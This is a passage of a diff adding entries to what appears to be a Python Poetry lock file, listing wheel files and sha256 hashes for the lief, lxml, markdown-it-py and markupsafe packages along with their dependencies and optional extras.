+ {file = "lief-0.12.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d320fb80ed5b42b354b8e4f251ab05a51929c162c57c377b5e95ad4b1c1b415d"},
+ {file = "lief-0.12.3-cp36-cp36m-win32.whl", hash = "sha256:176fa6c342dd480195cda34a20f62ac76dfae103b22ca7583b762e0b434ee1f3"},
+ {file = "lief-0.12.3-cp36-cp36m-win_amd64.whl", hash = "sha256:3a18fe108fb82a2640864deef933731afe77413b1226551796ef2c373a1b3a2a"},
+ {file = "lief-0.12.3-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:c73e990cd2737d1060b8c1e8edcc128832806995b69d1d6bf191409e2cea7bde"},
+ {file = "lief-0.12.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:5fa2b1c8ffe47ee66b2507c2bb4e3fd628965532b7888c0627d10e690b5ef20c"},
+ {file = "lief-0.12.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f224e9a261e88099f86160f121d088d30894c2946e3e551cf11c678daadcf2b"},
+ {file = "lief-0.12.3-cp37-cp37m-win32.whl", hash = "sha256:3481d7c9fb3d3a1acff53851f40efd1a5a05d354312d367294bc2e310b736826"},
+ {file = "lief-0.12.3-cp37-cp37m-win_amd64.whl", hash = "sha256:4e5173e1be5ebf43594f4eb187cbcb04758761942bc0a1e685ea1cb9047dc0d9"},
+ {file = "lief-0.12.3-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:54d6a45e01260b9c8bf1c99f58257cff5338aee5c02eacfeee789f9d15cf38c6"},
+ {file = "lief-0.12.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:4501dc399fb15dc7a3c8df4a76264a86be6d581d99098dafc3a67626149d8ff1"},
+ {file = "lief-0.12.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c848aadac0816268aeb9dde7cefdb54bf24f78e664a19e97e74c92d3be1bb147"},
+ {file = "lief-0.12.3-cp38-cp38-win32.whl", hash = "sha256:d7e35f9ee9dd6e79add3b343f83659b71c05189e5cb224e02a1902ddc7654e96"},
+ {file = "lief-0.12.3-cp38-cp38-win_amd64.whl", hash = "sha256:b00667257b43e93d94166c959055b6147d46d302598f3ee55c194b40414c89cc"},
+ {file = "lief-0.12.3-cp39-cp39-macosx_10_14_arm64.whl", hash = "sha256:e6a1b5b389090d524621c2455795e1262f62dc9381bedd96f0cd72b878c4066d"},
+ {file = "lief-0.12.3-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:ae773196df814202c0c51056163a1478941b299512b09660a3c37be3c7fac81e"},
+ {file = "lief-0.12.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:66ddf88917ec7b00752687c476bb2771dc8ec19bd7e4c0dcff1f8ef774cad4e9"},
+ {file = "lief-0.12.3-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:4a47f410032c63ac3be051d963d0337d6b47f0e94bfe8e946ab4b6c428f4d0f8"},
+ {file = "lief-0.12.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dbd11367c2259bd1131a6c8755dcde33314324de5ea029227bfbc7d3755871e6"},
+ {file = "lief-0.12.3-cp39-cp39-win32.whl", hash = "sha256:2ce53e311918c3e5b54c815ef420a747208d2a88200c41cd476f3dd1eb876bcf"},
+ {file = "lief-0.12.3-cp39-cp39-win_amd64.whl", hash = "sha256:446e53ccf0ebd1616c5d573470662ff71ca6df3cd62ec1764e303764f3f03cca"},
+ {file = "lief-0.12.3.zip", hash = "sha256:62e81d2f1a827d43152aed12446a604627e8833493a51dca027026eed0ce7128"},
+]
+
+[[package]]
+name = "lxml"
+version = "4.9.2"
+description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API."
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*"
+files = [
+ {file = "lxml-4.9.2-cp27-cp27m-macosx_10_15_x86_64.whl", hash = "sha256:76cf573e5a365e790396a5cc2b909812633409306c6531a6877c59061e42c4f2"},
+ {file = "lxml-4.9.2-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b1f42b6921d0e81b1bcb5e395bc091a70f41c4d4e55ba99c6da2b31626c44892"},
+ {file = "lxml-4.9.2-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:9f102706d0ca011de571de32c3247c6476b55bb6bc65a20f682f000b07a4852a"},
+ {file = "lxml-4.9.2-cp27-cp27m-win32.whl", hash = "sha256:8d0b4612b66ff5d62d03bcaa043bb018f74dfea51184e53f067e6fdcba4bd8de"},
+ {file = "lxml-4.9.2-cp27-cp27m-win_amd64.whl", hash = "sha256:4c8f293f14abc8fd3e8e01c5bd86e6ed0b6ef71936ded5bf10fe7a5efefbaca3"},
+ {file = "lxml-4.9.2-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2899456259589aa38bfb018c364d6ae7b53c5c22d8e27d0ec7609c2a1ff78b50"},
+ {file = "lxml-4.9.2-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6749649eecd6a9871cae297bffa4ee76f90b4504a2a2ab528d9ebe912b101975"},
+ {file = "lxml-4.9.2-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:a08cff61517ee26cb56f1e949cca38caabe9ea9fbb4b1e10a805dc39844b7d5c"},
+ {file = "lxml-4.9.2-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:85cabf64adec449132e55616e7ca3e1000ab449d1d0f9d7f83146ed5bdcb6d8a"},
+ {file = "lxml-4.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8340225bd5e7a701c0fa98284c849c9b9fc9238abf53a0ebd90900f25d39a4e4"},
+ {file = "lxml-4.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:1ab8f1f932e8f82355e75dda5413a57612c6ea448069d4fb2e217e9a4bed13d4"},
+ {file = "lxml-4.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:699a9af7dffaf67deeae27b2112aa06b41c370d5e7633e0ee0aea2e0b6c211f7"},
+ {file = "lxml-4.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b9cc34af337a97d470040f99ba4282f6e6bac88407d021688a5d585e44a23184"},
+ {file = "lxml-4.9.2-cp310-cp310-win32.whl", hash = "sha256:d02a5399126a53492415d4906ab0ad0375a5456cc05c3fc0fc4ca11771745cda"},
+ {file = "lxml-4.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:a38486985ca49cfa574a507e7a2215c0c780fd1778bb6290c21193b7211702ab"},
+ {file = "lxml-4.9.2-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:c83203addf554215463b59f6399835201999b5e48019dc17f182ed5ad87205c9"},
+ {file = "lxml-4.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:2a87fa548561d2f4643c99cd13131acb607ddabb70682dcf1dff5f71f781a4bf"},
+ {file = "lxml-4.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:d6b430a9938a5a5d85fc107d852262ddcd48602c120e3dbb02137c83d212b380"},
+ {file = "lxml-4.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3efea981d956a6f7173b4659849f55081867cf897e719f57383698af6f618a92"},
+ {file = "lxml-4.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:df0623dcf9668ad0445e0558a21211d4e9a149ea8f5666917c8eeec515f0a6d1"},
+ {file = "lxml-4.9.2-cp311-cp311-win32.whl", hash = "sha256:da248f93f0418a9e9d94b0080d7ebc407a9a5e6d0b57bb30db9b5cc28de1ad33"},
+ {file = "lxml-4.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:3818b8e2c4b5148567e1b09ce739006acfaa44ce3156f8cbbc11062994b8e8dd"},
+ {file = "lxml-4.9.2-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ca989b91cf3a3ba28930a9fc1e9aeafc2a395448641df1f387a2d394638943b0"},
+ {file = "lxml-4.9.2-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:822068f85e12a6e292803e112ab876bc03ed1f03dddb80154c395f891ca6b31e"},
+ {file = "lxml-4.9.2-cp35-cp35m-win32.whl", hash = "sha256:be7292c55101e22f2a3d4d8913944cbea71eea90792bf914add27454a13905df"},
+ {file = "lxml-4.9.2-cp35-cp35m-win_amd64.whl", hash = "sha256:998c7c41910666d2976928c38ea96a70d1aa43be6fe502f21a651e17483a43c5"},
+ {file = "lxml-4.9.2-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:b26a29f0b7fc6f0897f043ca366142d2b609dc60756ee6e4e90b5f762c6adc53"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:ab323679b8b3030000f2be63e22cdeea5b47ee0abd2d6a1dc0c8103ddaa56cd7"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:689bb688a1db722485e4610a503e3e9210dcc20c520b45ac8f7533c837be76fe"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:f49e52d174375a7def9915c9f06ec4e569d235ad428f70751765f48d5926678c"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:36c3c175d34652a35475a73762b545f4527aec044910a651d2bf50de9c3352b1"},
+ {file = "lxml-4.9.2-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a35f8b7fa99f90dd2f5dc5a9fa12332642f087a7641289ca6c40d6e1a2637d8e"},
+ {file = "lxml-4.9.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:58bfa3aa19ca4c0f28c5dde0ff56c520fbac6f0daf4fac66ed4c8d2fb7f22e74"},
+ {file = "lxml-4.9.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:bc718cd47b765e790eecb74d044cc8d37d58562f6c314ee9484df26276d36a38"},
+ {file = "lxml-4.9.2-cp36-cp36m-win32.whl", hash = "sha256:d5bf6545cd27aaa8a13033ce56354ed9e25ab0e4ac3b5392b763d8d04b08e0c5"},
+ {file = "lxml-4.9.2-cp36-cp36m-win_amd64.whl", hash = "sha256:3ab9fa9d6dc2a7f29d7affdf3edebf6ece6fb28a6d80b14c3b2fb9d39b9322c3"},
+ {file = "lxml-4.9.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:05ca3f6abf5cf78fe053da9b1166e062ade3fa5d4f92b4ed688127ea7d7b1d03"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:a5da296eb617d18e497bcf0a5c528f5d3b18dadb3619fbdadf4ed2356ef8d941"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:04876580c050a8c5341d706dd464ff04fd597095cc8c023252566a8826505726"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:c9ec3eaf616d67db0764b3bb983962b4f385a1f08304fd30c7283954e6a7869b"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2a29ba94d065945944016b6b74e538bdb1751a1db6ffb80c9d3c2e40d6fa9894"},
+ {file = "lxml-4.9.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:a82d05da00a58b8e4c0008edbc8a4b6ec5a4bc1e2ee0fb6ed157cf634ed7fa45"},
+ {file = "lxml-4.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:223f4232855ade399bd409331e6ca70fb5578efef22cf4069a6090acc0f53c0e"},
+ {file = "lxml-4.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d17bc7c2ccf49c478c5bdd447594e82692c74222698cfc9b5daae7ae7e90743b"},
+ {file = "lxml-4.9.2-cp37-cp37m-win32.whl", hash = "sha256:b64d891da92e232c36976c80ed7ebb383e3f148489796d8d31a5b6a677825efe"},
+ {file = "lxml-4.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:a0a336d6d3e8b234a3aae3c674873d8f0e720b76bc1d9416866c41cd9500ffb9"},
+ {file = "lxml-4.9.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:da4dd7c9c50c059aba52b3524f84d7de956f7fef88f0bafcf4ad7dde94a064e8"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:821b7f59b99551c69c85a6039c65b75f5683bdc63270fec660f75da67469ca24"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:e5168986b90a8d1f2f9dc1b841467c74221bd752537b99761a93d2d981e04889"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:8e20cb5a47247e383cf4ff523205060991021233ebd6f924bca927fcf25cf86f"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:13598ecfbd2e86ea7ae45ec28a2a54fb87ee9b9fdb0f6d343297d8e548392c03"},
+ {file = "lxml-4.9.2-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:880bbbcbe2fca64e2f4d8e04db47bcdf504936fa2b33933efd945e1b429bea8c"},
+ {file = "lxml-4.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7d2278d59425777cfcb19735018d897ca8303abe67cc735f9f97177ceff8027f"},
+ {file = "lxml-4.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5344a43228767f53a9df6e5b253f8cdca7dfc7b7aeae52551958192f56d98457"},
+ {file = "lxml-4.9.2-cp38-cp38-win32.whl", hash = "sha256:925073b2fe14ab9b87e73f9a5fde6ce6392da430f3004d8b72cc86f746f5163b"},
+ {file = "lxml-4.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:9b22c5c66f67ae00c0199f6055705bc3eb3fcb08d03d2ec4059a2b1b25ed48d7"},
+ {file = "lxml-4.9.2-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5f50a1c177e2fa3ee0667a5ab79fdc6b23086bc8b589d90b93b4bd17eb0e64d1"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:090c6543d3696cbe15b4ac6e175e576bcc3f1ccfbba970061b7300b0c15a2140"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:63da2ccc0857c311d764e7d3d90f429c252e83b52d1f8f1d1fe55be26827d1f4"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:5b4545b8a40478183ac06c073e81a5ce4cf01bf1734962577cf2bb569a5b3bbf"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2e430cd2824f05f2d4f687701144556646bae8f249fd60aa1e4c768ba7018947"},
+ {file = "lxml-4.9.2-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6804daeb7ef69e7b36f76caddb85cccd63d0c56dedb47555d2fc969e2af6a1a5"},
+ {file = "lxml-4.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a6e441a86553c310258aca15d1c05903aaf4965b23f3bc2d55f200804e005ee5"},
+ {file = "lxml-4.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:ca34efc80a29351897e18888c71c6aca4a359247c87e0b1c7ada14f0ab0c0fb2"},
+ {file = "lxml-4.9.2-cp39-cp39-win32.whl", hash = "sha256:6b418afe5df18233fc6b6093deb82a32895b6bb0b1155c2cdb05203f583053f1"},
+ {file = "lxml-4.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:f1496ea22ca2c830cbcbd473de8f114a320da308438ae65abad6bab7867fe38f"},
+ {file = "lxml-4.9.2-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:b264171e3143d842ded311b7dccd46ff9ef34247129ff5bf5066123c55c2431c"},
+ {file = "lxml-4.9.2-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:0dc313ef231edf866912e9d8f5a042ddab56c752619e92dfd3a2c277e6a7299a"},
+ {file = "lxml-4.9.2-pp38-pypy38_pp73-macosx_10_15_x86_64.whl", hash = "sha256:16efd54337136e8cd72fb9485c368d91d77a47ee2d42b057564aae201257d419"},
+ {file = "lxml-4.9.2-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:0f2b1e0d79180f344ff9f321327b005ca043a50ece8713de61d1cb383fb8ac05"},
+ {file = "lxml-4.9.2-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:7b770ed79542ed52c519119473898198761d78beb24b107acf3ad65deae61f1f"},
+ {file = "lxml-4.9.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:efa29c2fe6b4fdd32e8ef81c1528506895eca86e1d8c4657fda04c9b3786ddf9"},
+ {file = "lxml-4.9.2-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7e91ee82f4199af8c43d8158024cbdff3d931df350252288f0d4ce656df7f3b5"},
+ {file = "lxml-4.9.2-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:b23e19989c355ca854276178a0463951a653309fb8e57ce674497f2d9f208746"},
+ {file = "lxml-4.9.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:01d36c05f4afb8f7c20fd9ed5badca32a2029b93b1750f571ccc0b142531caf7"},
+ {file = "lxml-4.9.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7b515674acfdcadb0eb5d00d8a709868173acece5cb0be3dd165950cbfdf5409"},
+ {file = "lxml-4.9.2.tar.gz", hash = "sha256:2455cfaeb7ac70338b3257f41e21f0724f4b5b0c0e7702da67ee6c3640835b67"},
+]
+
+[package.extras]
+cssselect = ["cssselect (>=0.7)"]
+html5 = ["html5lib"]
+htmlsoup = ["BeautifulSoup4"]
+source = ["Cython (>=0.29.7)"]
+
+[[package]]
+name = "markdown-it-py"
+version = "2.2.0"
+description = "Python port of markdown-it. Markdown parsing, done right!"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "markdown-it-py-2.2.0.tar.gz", hash = "sha256:7c9a5e412688bc771c67432cbfebcdd686c93ce6484913dccf06cb5a0bea35a1"},
+ {file = "markdown_it_py-2.2.0-py3-none-any.whl", hash = "sha256:5a35f8d1870171d9acc47b99612dc146129b631baf04970128b568f190d0cc30"},
+]
+
+[package.dependencies]
+mdurl = ">=0.1,<1.0"
+
+[package.extras]
+benchmarking = ["psutil", "pytest", "pytest-benchmark"]
+code-style = ["pre-commit (>=3.0,<4.0)"]
+compare = ["commonmark (>=0.9,<1.0)", "markdown (>=3.4,<4.0)", "mistletoe (>=1.0,<2.0)", "mistune (>=2.0,<3.0)", "panflute (>=2.3,<3.0)"]
+linkify = ["linkify-it-py (>=1,<3)"]
+plugins = ["mdit-py-plugins"]
+profiling = ["gprof2dot"]
+rtd = ["attrs", "myst-parser", "pyyaml", "sphinx", "sphinx-copybutton", "sphinx-design", "sphinx_book_theme"]
+testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"]
+
+[[package]]
+name = "markupsafe"
+version = "2.1.2"
+description = "Safely add untrusted strings to HTML/XML markup."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "MarkupSafe-2.1.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:665a36ae6f8f20a4676b53224e33d456a6f5a72657d9c83c2aa00765072f31f7"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:340bea174e9761308703ae988e982005aedf427de816d1afe98147668cc03036"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22152d00bf4a9c7c83960521fc558f55a1adbc0631fbb00a9471e097b19d72e1"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:28057e985dace2f478e042eaa15606c7efccb700797660629da387eb289b9323"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca244fa73f50a800cf8c3ebf7fd93149ec37f5cb9596aa8873ae2c1d23498601"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d9d971ec1e79906046aa3ca266de79eac42f1dbf3612a05dc9368125952bd1a1"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:7e007132af78ea9df29495dbf7b5824cb71648d7133cf7848a2a5dd00d36f9ff"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:7313ce6a199651c4ed9d7e4cfb4aa56fe923b1adf9af3b420ee14e6d9a73df65"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-win32.whl", hash = "sha256:c4a549890a45f57f1ebf99c067a4ad0cb423a05544accaf2b065246827ed9603"},
+ {file = "MarkupSafe-2.1.2-cp310-cp310-win_amd64.whl", hash = "sha256:835fb5e38fd89328e9c81067fd642b3593c33e1e17e2fdbf77f5676abb14a156"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:2ec4f2d48ae59bbb9d1f9d7efb9236ab81429a764dedca114f5fdabbc3788013"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:608e7073dfa9e38a85d38474c082d4281f4ce276ac0010224eaba11e929dd53a"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65608c35bfb8a76763f37036547f7adfd09270fbdbf96608be2bead319728fcd"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2bfb563d0211ce16b63c7cb9395d2c682a23187f54c3d79bfec33e6705473c6"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:da25303d91526aac3672ee6d49a2f3db2d9502a4a60b55519feb1a4c7714e07d"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:9cad97ab29dfc3f0249b483412c85c8ef4766d96cdf9dcf5a1e3caa3f3661cf1"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:085fd3201e7b12809f9e6e9bc1e5c96a368c8523fad5afb02afe3c051ae4afcc"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:1bea30e9bf331f3fef67e0a3877b2288593c98a21ccb2cf29b74c581a4eb3af0"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-win32.whl", hash = "sha256:7df70907e00c970c60b9ef2938d894a9381f38e6b9db73c5be35e59d92e06625"},
+ {file = "MarkupSafe-2.1.2-cp311-cp311-win_amd64.whl", hash = "sha256:e55e40ff0cc8cc5c07996915ad367fa47da6b3fc091fdadca7f5403239c5fec3"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:a6e40afa7f45939ca356f348c8e23048e02cb109ced1eb8420961b2f40fb373a"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cf877ab4ed6e302ec1d04952ca358b381a882fbd9d1b07cccbfd61783561f98a"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:63ba06c9941e46fa389d389644e2d8225e0e3e5ebcc4ff1ea8506dce646f8c8a"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f1cd098434e83e656abf198f103a8207a8187c0fc110306691a2e94a78d0abb2"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:55f44b440d491028addb3b88f72207d71eeebfb7b5dbf0643f7c023ae1fba619"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:a6f2fcca746e8d5910e18782f976489939d54a91f9411c32051b4aab2bd7c513"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:0b462104ba25f1ac006fdab8b6a01ebbfbce9ed37fd37fd4acd70c67c973e460"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-win32.whl", hash = "sha256:7668b52e102d0ed87cb082380a7e2e1e78737ddecdde129acadb0eccc5423859"},
+ {file = "MarkupSafe-2.1.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6d6607f98fcf17e534162f0709aaad3ab7a96032723d8ac8750ffe17ae5a0666"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a806db027852538d2ad7555b203300173dd1b77ba116de92da9afbc3a3be3eed"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:a4abaec6ca3ad8660690236d11bfe28dfd707778e2442b45addd2f086d6ef094"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f03a532d7dee1bed20bc4884194a16160a2de9ffc6354b3878ec9682bb623c54"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4cf06cdc1dda95223e9d2d3c58d3b178aa5dacb35ee7e3bbac10e4e1faacb419"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:22731d79ed2eb25059ae3df1dfc9cb1546691cc41f4e3130fe6bfbc3ecbbecfa"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f8ffb705ffcf5ddd0e80b65ddf7bed7ee4f5a441ea7d3419e861a12eaf41af58"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:8db032bf0ce9022a8e41a22598eefc802314e81b879ae093f36ce9ddf39ab1ba"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:2298c859cfc5463f1b64bd55cb3e602528db6fa0f3cfd568d3605c50678f8f03"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-win32.whl", hash = "sha256:50c42830a633fa0cf9e7d27664637532791bfc31c731a87b202d2d8ac40c3ea2"},
+ {file = "MarkupSafe-2.1.2-cp38-cp38-win_amd64.whl", hash = "sha256:bb06feb762bade6bf3c8b844462274db0c76acc95c52abe8dbed28ae3d44a147"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:99625a92da8229df6d44335e6fcc558a5037dd0a760e11d84be2260e6f37002f"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8bca7e26c1dd751236cfb0c6c72d4ad61d986e9a41bbf76cb445f69488b2a2bd"},
+ {file = "MarkupSafe-2.1.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40627dcf047dadb22cd25ea7ecfe9cbf3bbbad0482ee5920b582f3809c97654f"},
